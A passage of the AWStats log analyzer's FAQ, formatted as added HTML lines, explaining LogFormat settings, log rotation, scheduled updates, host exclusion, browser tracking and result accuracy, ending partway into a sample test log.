+<br>ShowKeyphrasesStats=0 +<br>ShowKeywordsStats=0 +<br>ShowMiscStats=0 +<br>ShowHTTPErrorsStats=1 +<br>ShowSMTPErrorsStats=0 +</td></tr></table> +<br> +Now you can use AWStats as usual (run the update process and read statistics).<br> +<br> + +<a name="PERSONALIZEDLOG"></a><br> +<b><u>FAQ-COM115 : SETUP/EXAMPLES FOR LOGFORMAT PARAMETER</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +Which value do I have to put in the LogFormat parameter to make AWStats working with my log +file format ?<br> +<font class=CSolution>SOLUTION:</font><br> +The AWStats config file gives you all the possible values for LogFormat parameter. +To help you, this is some common cases of log file format, and +the corresponding value of LogFormat you must use in your AWStats config file:<br> +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA combined/XLF/ELF</b> log format):</u><br> +<i>62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"</i><br> + +You must use : <i>LogFormat=1</i><br> +This is same than: <i>LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"</i><br> + +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA combined with several virtualhostname</b> sharing same log file).</u><br> +<i>virtualserver1 62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"</i><br> +You must use : <i>LogFormat="%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"</i><br> +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA combined and mod_gzip format 1</b> with <b>Apache 1.x</b>):</u><br> +<i>62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 3904 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" mod_gzip: 66pct.</i><br> +You must use : <i>LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot %other %gzipratio"</i><br> + +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA combined and mod_gzip format 2</b> with <b>Apache 1.x</b>):</u><br> +<i>62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 3904 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" mod_gzip: DECHUNK:OK In:11393 Out:3904:66pct.</i><br> +You must use : <i>LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot %other %other %gzipin %gzipout"</i><br> +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA combined and mod_deflate</b> with <b>Apache 2</b>):</u><br> +<i>62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 3904 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" (45)</i><br> +You must use : <i>LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot %deflateratio"</i><br> + +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA combined with 2 spaces between some fields</b> with <b>Zope</b>):</u><br> +<i>62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 3904 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" (45)</i><br> +You must use : <i><br> +LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"<br> +LogSeparator=" *"<br> +</i> +<hr> +<u>If your log records are EXACTLY like this (<b>NCSA common CLF</b> log format):</u><br> +<i>62.161.78.73 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 1234</i><br> +You must use : <i>LogFormat=4</i><br> +Note: Browsers, OS's, Keywords and Referers features are not available with a such format.<br> + +<hr> +<u>If your log records are EXACTLY like this (With some <b>Squid</b> versions, after setting <i>emulate_http_log</i> to on):</u><br> +<i>200.135.30.181 - - [dd/mmm/yyyy:hh:mm:ss +0x00] "GET http://www.mydomain.com/page.html HTTP/1.0" 200 456 TCP_CLIENT_REFRESH_MISS:DIRECT</i><br> +You must use : <i>LogFormat="%host %other %logname %time1 %methodurl %code %bytesd %other"</i><br> +<hr> +<u>If your log records are EXACTLY like this (Some old <b>IIS</b> W3C log format):</u><br> +<i>yyyy-mm-dd hh:mm:ss 62.161.78.73 - GET /page.html 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.html</i><br> +You must use : <i>LogFormat=2</i><br> + +<hr> +<u>If your log records are EXACTLY like this (Some <b>IIS</b> W3C log format with some <b>.net</b> servers):</u><br> +<i>yyyy-mm-dd hh:mm:ss GET /page.html - 62.161.78.73 - Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.html 200 1234 HTTP/1.1</i><br> +You must use : <i>LogFormat=2 (or LogFormat="%time2 %method %url %logname %host %other %ua %referer %code %bytesd %other")</i><br> +<hr> +<u>If your log records are EXACTLY like this (Some <b>IIS 6+</b> W3C log format):</u><br> +<i>yyyy-mm-dd hh:mm:ss GET /page.html - 62.161.78.73 - Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.html 200 1234</i><br> +You must use : <i>LogFormat=2 (or LogFormat="date time cs-method cs-uri-stem cs-username c-ip cs-version cs(User-Agent) cs(Referer) sc-status sc-bytes")</i><br> + +<hr> +<u>If your log records are EXACTLY like this (Some <b>ISA</b> W3C log format):</u><br> +<i>62.161.78.73, anonymous, Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1), N, 1/1/2001, 0:00:16, W3ReverseProxy, HCSERV2, -, www.host.be, 192.168.141.101, 80, 266, 406, 10042, http, TCP, GET, http://192.168.141.101/, text/html, Inet, 200, 0x42330010, -, -</i><br> +You must use :<br> +<i>LogFile="sed -e 's/, /\t/g' "/yourlogpath/yourlogfile.log" |"</i><br> +<i>LogFormat=2</i><br> +<i>LogSeparator=" "</i><br> +<hr> +<u>If your log records are EXACTLY like this (With some <b>WebSite</b> versions):</u><br> +<i>yyyy-mm-dd hh:mm:ss 62.161.78.73 - 192.168.1.1 80 GET /page.html - 200 11205 0 0 HTTP/1.1 mydomain.com Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+98) - http://www.from.com/from.html</i><br> +You must use : <i>LogFormat="%time2 %host %logname %other %other %method %url %other %code %bytesd %other %other %other %other %ua %other %referer"</i><br> + +<hr> +<u>If your log records are EXACTLY like this (<b>Webstar</b> native log format):</u><br> +<i>05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133</i><br> +You must use : <i>LogFormat=3</i><br> +<hr> +<u>If your log records are EXACTLY like this (With some <b>Lotus Notes/Domino</b> versions):</u><br> +<i>62.161.78.73 - Name Surname Service [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"</i><br> +You must use : <i>LogFormat=6</i><br> + +<hr> +<u>If your log records are EXACTLY like this (<b>Lotus Notes/Domino 6.x</b> log format):</u><br> +<i>62.161.78.73 - "Name Surname" Service [dd/mmm/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"</i><br> +You must use : <i>LogFormat="%host %other %lognamequot %time1 %methodurl %code %bytesd %refererquot %uaquot"</i><br> +<hr> +<u>If your log records are EXACTLY like this (With <b>Oracle9iAS</b>):</u><br> +<i>62.161.78.73 - [dd/mmm/yyyy:hh:mm:ss +0x00] GET /page.html HTTP/1.1 200 1234 - "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"</i><br> +Where separators are "tab" characters or several "spaces", +You must use : <i>LogFormat="%host %logname %time1 %method %url %other %code %bytesd %referer %uaquot"</i> +and <i>LogSeparator="\s+"</i><br> + +<hr> +<u>If you use a FTP server like <b>ProFTPd</b>:</u><br> +See <a href="#FTP">FAQ-COM090</a>.<br> +<hr> +<u>If you want to analyze a mail log file (<b>Postfix</b>, <b>Sendmail</b>, <b>QMail</b>, <b>MDaemon</b>, <b>Exchange</b>):</u><br> +See <a href="#MAIL">FAQ-COM100</a>.<br> + +<hr> +<u>If you use a Media Server (<b>Realmedia</b>, <b>Windows Media Server</b>):</u><br> +See <a href="#MEDIASERVER">FAQ-COM110</a>.<br> +<hr> +<u>If your log records are EXACTLY like this (With some providers):</u><br> +<i>62.161.78.73 - - [dd/Month/yyyy:hh:mm:ss +0x00] "GET /page.html HTTP/1.1" "-" 200 1234</i><br> +You must use : <i>LogFormat="%host %other %logname %time1 %methodurl %other %code %bytesd"</i><br> +Note: Browsers, OS's, Keywords and Referers features are not available with a such format.<br> + +<hr> +<u>There are a lot of other possible log formats.</u><br> +You must use a personalized log format LogFormat ="..." as described in config file to +support other various log formats.<br> +<br><br> + +<a name="ROTATE"></a><br> +<b><u>FAQ-COM120 : HOW TO ROTATE MY LOGS WITHOUT LOSING DATA</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I want to archive/rotate my logs using my server system (for example logrotate) options or a third +software (rotatelog, cronolog) but I don't want to lose any visits information during the rotate +process.<br> +<font class=CSolution>SOLUTION:</font><br> +<li> If your config file is setup with a <a href="awstats_config.html#LogFile">LogFile</a> parameter +that point to your current running log file (required if you want to use the +<a href="awstats_config.html#AllowToUpdateStatsFromBrowser">AllowToUpdateStatsFromBrowser</a> +option to have "real-time" statistics), to avoid losing too much records during the rotate +process, you must run the AWStats update JUST BEFORE the rotate process is done.<br> +The best way to do that on 'Linux like' OS is to use the linux built-in logrotate feature. You must +edit the logrotate config file used for your web server log file (usually stored in /etc/logrotate.d +directory) by adding the AWStats update process as a preprocessor command, like this example (bold +lines are lines to add for having a prerotate process):<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +/usr/local/apache/logs/*log<br> +{<br> +notifempty<br> +daily<br> +rotate 7<br> +compress<br> +<b> +sharedscripts<br> +prerotate<br> +/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=mydomainconfig<br> +endscript<br> +</b> +postrotate<br> +/usr/bin/killall -HUP httpd<br> +endscript<br> +}<br> +</td></tr></table> +<br> +If using a such solution, this is sequential steps that happens:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ> +<tr class=CFAQ><td class=CFAQ><b>Step</b></td><td class=CFAQ><b>Description</b></td><td class=CFAQ><b>Step name</b></td><td class=CFAQ><b>Date/Time example</b></td></tr> +<tr class=CFAQ valign=top><td class=CFAQ>A</td><td class=CFAQ>logrotate is started (by cron)</td><td class=CFAQ>Start of logrotate</td><td class=CFAQ>04:02:00</td></tr> +<tr valign=top><td class=CFAQ>B</td><td class=CFAQ><ul>awstats -update is launched by logrotate</td><td class=CFAQ>Start of awstats</td><td class=CFAQ>04:02:01</td><tr> +<tr valign=top><td class=CFAQ>C</td><td class=CFAQ><ul><ul>awstats start to read the log file <i>file.log</i></td><td class=CFAQ> </td><td class=CFAQ>04:02:02</td><tr> +<tr valign=top><td class=CFAQ>D</td><td class=CFAQ><ul>awstats has reached the end of log file so now it starts to save its database on disk.</td><td class=CFAQ> </td><td class=CFAQ>04:05:00</td><tr> +<tr valign=top><td class=CFAQ>E</td><td class=CFAQ><ul>awstats has finished to save its new database, so it stops</td><td class=CFAQ>End of awstats</td><td class=CFAQ>04:06:00</td><tr> +<tr valign=top><td class=CFAQ>F</td><td class=CFAQ>logrotate moves old log file <i>file.log</i> to a new name <i>file.log.sav</i>. Apache now logs in this file <i>file.log.sav</i> since log file handle has not been changed (only log file name has been renamed).</td><td class=CFAQ>Log move</td><td class=CFAQ>04:06:01</td><tr> +<tr valign=top><td class=CFAQ>G</td><td class=CFAQ>logrotate sends the -HUP or -USR1 signal to Apache.<br>With -HUP, Apache immediatly kills all its child process/thread, close log file <i>file.log.sav</i>, and reopen file <i>file.log</i>. So now, ALL hits are written to new file.<br>With -USR1, Apache only ask its child process/thread to stop only when HTTP request will be completely served. However it closes immediatly log file <i>file.log.sav</i>, and reopen file <i>file.log</i>. So only NEW hits are written to new log file. HTTP requests that are still running will write in old one.</td><td class=CFAQ>Apache restart</td><td class=CFAQ>04:06:02</td><tr> +<tr valign=top><td class=CFAQ>H</td><td class=CFAQ>logrotate starts compress the old log file <i>file.log.sav</i> into <i>file.log.gz</i></td><td class=CFAQ>Start compress</td><td class=CFAQ>04:06:03</td><tr> +<tr valign=top><td class=CFAQ>I</td><td class=CFAQ><ul>If some apache threads/processes are still running (because the kill sent was -USR1, so child process are waiting end of request before to stop), then those threads/processes are still writing to <i>file.log.sav</i>.<br>If kill -HUP was used, all process are already restarted so all writes in new <i>file.log</i>.</td><td class=CFAQ> </td><td class=CFAQ> </td><tr> +<tr valign=top><td class=CFAQ>J</td><td class=CFAQ>logrotate has finished to compress log file into <i>file.log.gz</i>. File <i>file.log.sav</i> is deleted.</td><td class=CFAQ>End of compress<br>End of logrotate</td><td class=CFAQ>04:07:03</td><tr> +<tr valign=top><td class=CFAQ>K</td><td class=CFAQ><ul>If signal was -USR1, some old childs can still run (when serving a very long request for example). So the log writing, still done in same file handle are going to a file that has been removed. So log writing are lost nowhere (this is only if -USR1 was used and if request was very long).</td><td class=CFAQ> </td><td class=CFAQ> </td><tr> +</table> +<br> +The advantage of this solution is that it is a very common way of working, used by a lot of +products, and easy to setup. You will notice that you can "lose" some hits:<br> +If you use the -HUP signal, you will only lose all hits that were written during D and E. +Note that you will also break all requests still running at G. In the example, it's a +1 minute lost (for small or medium web sites, it will be less than few seconds), so this +give you an error lower than 0.07% (less for small web sites). This is not significant, +above all for a "statistics" progam.<br> +If you use the -USR1 signal, you will not kill any request. But you will lose all hits that +were wrote during D and E (like with -HUP) but also all hits that are still running after H +(all very long request that requires several minutes to be served). If hit ends during I, it is +wrote in a log file already analyzed, if hit ends at K, it is wrote nowhere. In the example, +it's also a 0.07% error plus error for other not visible hits that were finished during I or K, +but number of such hits should be very low since only hits that started before G and not +finished after H are concerned. In most cases a hits needs only few milliseconds to be served +so lost hits could be ignored.<br> +<br> +Note also that if you have x logrotate config files, with each of them a postrotate with a +kill -HUP, you send a kill x times to your server process. So try to include several log files +in same logrotate config file. You can have several awstats update command in the same +prerotate section and you will send the -HUP only once, after all updates are finished. +However, doing this, you will have a lap time between D and F (were some hits are lost) that will +be higher.<br> +<br> + +<li> Another common way of working is to choose to run the AWStats update process only once the log file has been +archived.<br> +This is required for example if you use the <a href="http://cronolog.org" target=awstatsbis>cronolog</a> +or rotatelog tools to rotate your log files. For example, Apache users can setup their Apache +httpd config file to write log file through a pipe to cronolog or rotatelog using +Apache <i>CustomLog</i> directive:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +CustomLog "|/usr/sbin/cronolog [cronolog_options] /var/logs/access.%Y%m%d.log" combined +</td></tr></table> +If you use a such feature, you can't trigger AWStats update process to be ran just BEFORE the +rotate is done, so you must run it AFTER the rotate process, so on the archived log file.<br> +To setup awstats to always point to last archive log file, you can use the 'tags' available for +<a href="awstats_config.html#LogFile">LogFile</a>.<br> +The problem with that is that your data are refreshed only after a rotate has done. However, +you will miss absolutely nothing (no hits) and your server processes are never killed.<br> +<br> +<li> So, if you really want to not lose absolutely no hit and want to have updates more +frequently than the rotate frequency, the best way is still an hybrid solution (i am not sure +that it worth the pain, and remember that statistics are only statistics):<br> +You run the awstats update process from you crontab frequently, every hour for example, and half and hour +before the rotate has done. See next FAQ to know how to setup a scheduled job.<br> +Then, once the rotate has been done (by the logrotate or by a piped cronolog log file), and +before the next scheduled awstats update process start, +you run another update process on the archived log file using the -logfile option to force +update on the archived log file and not the current log file defined in awstats +config file. This will allow you to update the half hour missing, +until the log rotate (AWStats will find the new lines). However don't forget that this +particular update MUST be finished before the next croned update.<br> +<br> + +<a name="CRONTAB"></a><br> +<b><u>FAQ-COM130 : HOW TO RUN AWSTATS UPDATE PROCESS FREQUENTLY</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +AWStats must be ran frequently to update statistics. How can I do this ?<br> +<font class=CSolution>SOLUTION:</font><br> +A good way of working is to run the AWStats update process as a preprocessor of your log rotate +process. See previous FAQ (<a href="#ROTATE">FAQ-COM120</a>) for this.<br> +But you can also run AWStats update process regularly by a scheduler:<br> +<br> +<u>With Windows</u>, you can use the internal task scheduler. +The use of this tool is not an AWStats related problem, so please take a look at your Windows manual. +Warning, if you use <i>"awstats.pl -config=mysite -update"</i> in your scheduled task, you might +experience problem of failing task. Try this instead<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +"C:\WINNT\system32\CMD.EXE /C C:\[awstats_path]\awstats.pl -config=mysite -update" +</td></tr></table> +or<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +"C:\[perl_path]\perl.exe C:\[awstats_path]\awstats.pl -config=mysite -update" +</td></tr></table> +A lot of other open source schedulers are often better (otherwise there is also good sharewares or freewares).<br> +<br> +<u>With unix-like operating systems</u>, you can use the "<b>crontab</b>".<br> +This is examples of lines you can add in the cron file (see your unix reference manual for cron) :<br> +To run update every day at 03:50, use :<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +50 3 * * * /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=mysite -update >/dev/null<br> +</td></tr></table> +To run update every hour, use :<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +0 * * * * /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=mysite -update >/dev/null<br> +</td></tr></table> +<br> + +<a name="EXCLUDEHOSTS"></a><br> +<b><u>FAQ-COM140 : HOW CAN I EXCLUDE MY IP ADDRESS (OR WHOLE SUBNET MASK) FROM STATS ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I don't want to see my own IP address in the stats or I want to exclude counting visits from a whole subnet.<br> +<font class=CSolution>SOLUTION:</font><br> +You must edit the config file to change the <a href="awstats_config.html#SkipHosts">SkipHosts</a> parameter.<br> +For example, to exclude:<br> +<li> your own IP address 123.123.123.123, use <a href="awstats_config.html#SkipHosts">SkipHosts</a>="123.123.123.123"<br> +<li> the whole subnet 123.123.123.xxx, use <a href="awstats_config.html#SkipHosts">SkipHosts</a>="REGEX[^123\.123\.123\.]"<br> +<li> all sub hosts xxx.myintranet.com, use <a href="awstats_config.html#SkipHosts">SkipHosts</a>="REGEX[\.myintranet\.com$]" (This one works only if DNS lookup is already done in your +log file).<br> +<br> + +<a name="SCREENSIZE"></a><br> +<b><u>FAQ-COM142 : HOW TO GET THE SCREEN SIZE AND BROWSER CAPABILITIES REPORT WORKING ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I see in the AWStats features list that it can report the screen size used by visitors and other browsers' informations, +(like if browser support Flash, Java, Javascript, PDF, MAcromedia, Audio plugins, etc...). How can I do that ?<br> +<font class=CSolution>SOLUTION:</font><br> +AWStats is a log analyzer, so to report the screen size of your visitor, we need to have information inside the log file itself. +For this, the only way to do that, is to add some HTML tags inside some of your pages (the home page is enough to +get use ratios). This tag will add call to a javascript that ask your browser to get a virtual URL that +includes, in its parameters, the screen size resolution and all other informations about browser capabilities (Flash, Java, Javascript, PDF, Macromedia, Audio plgins...).<br> +<br> +This is the code you must add (at bottom of your home page for example) :<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +<script language="javascript" type="text/javascript" src="/js/awstats_misc_tracker.js" ></script><br> +<noscript><img src="/js/awstats_misc_tracker.js?nojs=y" height="0" width="0" border="0" style="display: none"></noscript><br> +</td></tr></table> +<br> +Note that you must also place the <i>awstats_misc_tracker.js</i> script (provided in /js directory with AWStats) inside +a js directory stored in your web root.<br> +Once this is done, load your home page with your browser and go to check that inside your log file +if you can see a line that looks like that:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +123.123.123.123 - - [24/Apr/2005:16:09:38 +0200] "GET /js/awstats_misc_tracker.js?screen=800x600&win=724x517&...&sid=awssession_id123 HTTP/1.1" 200 6237 "http://therefererwebsite.com/index.php" "Mozilla/5.0 (Linux) Gecko/20050414 Firefox/1.0.3" +</td></tr></table> +<br> +If yes, you can then run the AWStats update process. Screen sizes information will be analyzed. All you have to do +now is to edit your config file to tell AWStats to add the report on html output. For this, change +the <a href="awstats_config.html#Show">ShowMiscStats</a> parameter.<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +ShowMiscStats=anjdfrqwp +</td></tr></table> +<br> +Note: If you change directory where <i>awstats_misc_tracker.js</i> is stored (somewhere else than the /js directory), +you must modify, according to your change:<br> +- the html tags added<br> +- the line: <i>var awstatsmisctrackerurl="/js/awstats_misc_tracker.js";</i> inside the awstats_misc_tracker.js script<br> +- the parameter <a href="awstats_config.html#MiscTrackerUrl">MiscTrackerUrl</a> inside AWStats configuration file.<br> +<br> + +<a name="EXTRA"></a><br> +<b><u>FAQ-COM145 : HOW TO USE THE EXTRA SECTIONS FEATURES ?</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I want to build personalized reports not provided in default AWStats reports. How can I setup +the Extra Sections parameters in my AWStats config file to do so ?<br> +<font class=CSolution>SOLUTION:</font><br> +Take a look at the <a href="awstats_extra.html">Using AWStats Extra Sections features</a><br> +<br> + +<a name="BENCHMARK"></a><br> +<b><u>FAQ-COM150 : BENCHMARK / FREQUENCY TO LAUNCH AWSTATS TO UPDATE STATISTICS</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +What is AWStats speed ?<br> +What is the frequency to launch AWStats process to update my statistics ?<br> +<font class=CSolution>SOLUTION:</font><br> +All benchmarks information and advice on frequency for update process are related into +the <a href="awstats_benchmark.html">Benchmark page</a>.<br> +<br> + +<a name="DNS"></a><br> +<b><u>FAQ-COM200 : HOW REVERSE DNS LOOKUP WORKS, UNRESOLVED IP ADDRESSES</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +The reported page AWStats shows me has no hostnames, only IP addresses, countries reported are all "unknown".<br> +<font class=CSolution>SOLUTION:</font><br> +When AWStats find an IP address in your log file, it tries a reverse DNS lookup to find +the hostname and domain if the <a href="awstats_config.html#DNSLookup">DNSLookup</a> parameter, in your AWStats config file, is <a href="awstats_config.html#DNSLookup">DNSLookup</a>=1 +(Default value). So, first, check if you have the good value. The <a href="awstats_config.html#DNSLookup">DNSLookup</a>=0 +must be used only if your log file contains already resolved IP address. For example, +when you set up Apache with the <i>HostNameLookups=on</i> directive. When you +ask your web server to make itself the reverse DNS lookup to log hostname instead +of IP address, you will still find some IP addresses in your log file because +the reverse DNS lookup is not always possible. But if your web server fails in +it, AWStats will also fails (All reverse DNS lookups use the same system API). +So to avoid AWStats to make an already done lookup (with success or not), you +can set <a href="awstats_config.html#DNSLookup">DNSLookup</a>=0 in AWStats config file. +If you prefer, you can make the reverse DNS lookup on a log file before running +your log analyzer (If you only need to convert a logfile with IP Addresses into a +logfile with resolved hostnames). You can use for this <a href="awstats_tools.html#logresolvemerge">logresolvemerge</a> tool +provided with AWStats distribution (This tools is an improved version of <i>logresolve</i> provided with Apache).<br> +<br> + +<a name="DIFFERENT_RESULTS"></a><br> +<b><u>FAQ-COM250 : DIFFERENT RESULTS THAN OTHER ANALYZER</u></b><br> +<font class=CProblem>PROBLEM:</font><br> +I also use Webalizer, Analog (or another log analyzer) and it doesn't report the same results than AWStats. Why ?<br> +<font class=CSolution>SOLUTION:</font><br> +If you compare AWStats results with an other log file analyzer, you will found some differences, +sometimes very important. In fact, all analyzer (even AWStats) make "over reporting" because of the +problem of proxy-servers and robots. However AWStats is one of the most accurate and its "over reporting" +is very low where all other analyzers, even the most famous, have a VERY HIGH error rate (10% to 200% more than reality !).<br> +<b>This is the most important reasons why you can find important differences:</b><br> +<li> Some dynamic pages generated by CGI programs are not counted by some analyzer (ie Webalizer) like +a "Page" (but only like a "Hit") if CGI prog does not end with a defined extension (.cgi, ...), so they are not included +correctly in their statistics. AWStats use on oposite policy, assuming a file is a page except if +type is in a list (See <a href="awstats_config.html#NotPageList">NotPageList</a> parameter). Error rate +with a such policy is lower.<br> +<li> Some log analyzers use the "Hits" to count visitors. This is a very bad way of working : +Some visitors use a lot of proxy servers to surf (ie: AOL users), this means it's possible that several +hosts (with several IP addresses) are used to reach your site for only one visitor (ie: one proxy server download +the page and 2 other servers download all images). Because of this, if stats of unique visitors are made on "hits", +3 users are reported but it's wrong. So AWStats considers only HTML "Pages" to count unique visitors. +This decrease the error, not completely, because it's always possible that a proxy server download one HTML frame and +another one download another frame, but this make the over-reporting of unique visitors less important.<br> +<li> Another important reason to have difference is that an error log files is not always completely sorted +but only "nearly" sorted because of cache and writing log engines used by server. Nearly all log +analyzers (commercial and not) assumes that log file is "exactly" sorted by hit date to calculate +visits, entry and exit pages. But there is nothing that guaranties this and some log files +are only "nearly" sorted, above all log files on highly loaded servers. +AWStats has an advanced parsing algorithm that is able to count +correctly visits, entry and exit pages even if log file is only "nearly" sorted.<br> +<li>AWStats does not count twice (with default setup) redirects made by server "rewrite rules". Such rule makes two hits into +log files, so most log analyzer count them twice, but only one page were "viewed".<br> +<li> Then, there is internal bugs in log analyzers that make reports wrong. +For example, a lot of users have reported that Webalizer "doubles" the number of visits or visitors +in some circumstances.<br> +<li> AWStats is able to detect robots visits. Most analyzers think robots visits are human visitors. +This error make them to report more visits and visitors than reality. +When AWStats reports a "1 visitor", it means "1 human visitor" (even if it's not posible to detect +all robots, most of them are detected). "Robots visitors" are reported separately in the "Robots/Spiders visitors" chart. +AWStats is a log analyzer with one of the most important robot database. In fact, a lot of other log analyzer +uses an update copy of the AWStats robot database for their own use. +However, even if a robot database is up to date, there is still some robot hits that are not possible to detect +using log analyzing. For this reason, AWStats still report 10% more visits than reality because of such robots. +This is the major reason that create differences between a log analyzer and a HTML tagger system like Google Analytics.<br> +<b>Now let see other minor reasons. However those points explains only very small differences (<1%. See all previous points +if you have more important difference):</b><br> +<li> To differenciate new visits from same visitor, log analysers uses a visit time-out. If value differs, +then result differs (for visit count and entry and exit pages). +A such time-out is a fixed value (For example 60 minutes) meaning if a visitor make a hit +59 minutes after downloading the previous page, it's the same visits, if he make it 61 minutes after, it's a new visit. +Of course, there is no realy difference between 59 and 61, but couting visits without +time-out is not possible. And because the most important is to have a time-out (and not +really it's value), AWStats time-out is not an "exact" value but is "around" 60 minutes. +This allows AWStats to have better speed processing time, so you also might experience +little differences, in visit count, between AWStats and another log analyzer even if +their time-out are both defined to same value (because AWStats time-out is not exactly +but nearly value defined).<br> +<li> There is also differences in log analyzers databases and algorithms that make details of results less or more accurate:<br> +AWStats has a larger browsers, os', search engines and robots database, so reports concerning this are more accurate.<br> +AWStats has url syntax rules to find keywords or keyphrases used to find your site, but AWStats has also +an algorithm to detect keywords of unknown search engines with unknown url syntax rule.<br> +Etc...<br> +<br> +If you want to check how serious your log analyzer is, try to parse the following log file. +It's a very common log file but results will show you how bad most log analyzers are (above +all commercial products):<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0><tr class=CFAQ><td class=CFAQ> +<i><font style="font: 8px verdana,arial,helvetica"><pre> +# This is a sample of log file that contains a lot of various data we can find +# in a log file. Great sample to test reliability and accuracy of any log +# analyzer. +# ---------------------------------------------------------------------------- +# This sample log file contains 10 differents IPs that are : +# Viewed traffic: 5 different true human visitors making 6 human visits +# 21 hits on pages and 15 hits not pages (36 hits) +# Not viewed traffic: 13 pages, 15 hits +# ---------------------------------------------------------------------------- +# 80.8.55.1 2 visits (start at 00:00:00 and at 12:00:00 with both entry page on /) +# And 2 hits to add favourites but first is non root hit with error meaning it's same "add" +# 80.8.55.2 Not a visit, only an image included into a page of an other site +# 80.8.55.3 1 visit (and add home page to favourites) +# 80.8.55.4 same visitor than 80.8.55.3 using aol proxy +# 80.8.55.5 Not a visit (but bot indexing) +# 80.8.55.6 1 visit (authenticated visitor) +# 80.8.55.7 1 visit (authenticated visitor with space in name) +# 80.8.55.8 Not a visit (try but failed twice with 404 and 405 error) +# 80.8.55.9 Not a visit (but a worm attack) +# 80.8.55.10 1 visit that come from a web page that is not a search engine + +80.8.55.1 - - [01/Jan/2001:00:00:10 +0100] "GET /page1.html HTTP/1.0" 200 7009 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:00 +0100] "GET / HTTP/1.0" 200 7009 "http://www.sitereferer/cgi-bin/search.pl?q=a" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)" +80.8.55.1 - - [01/Jan/2001:00:00:20 +0100] "GET /page2.cgi 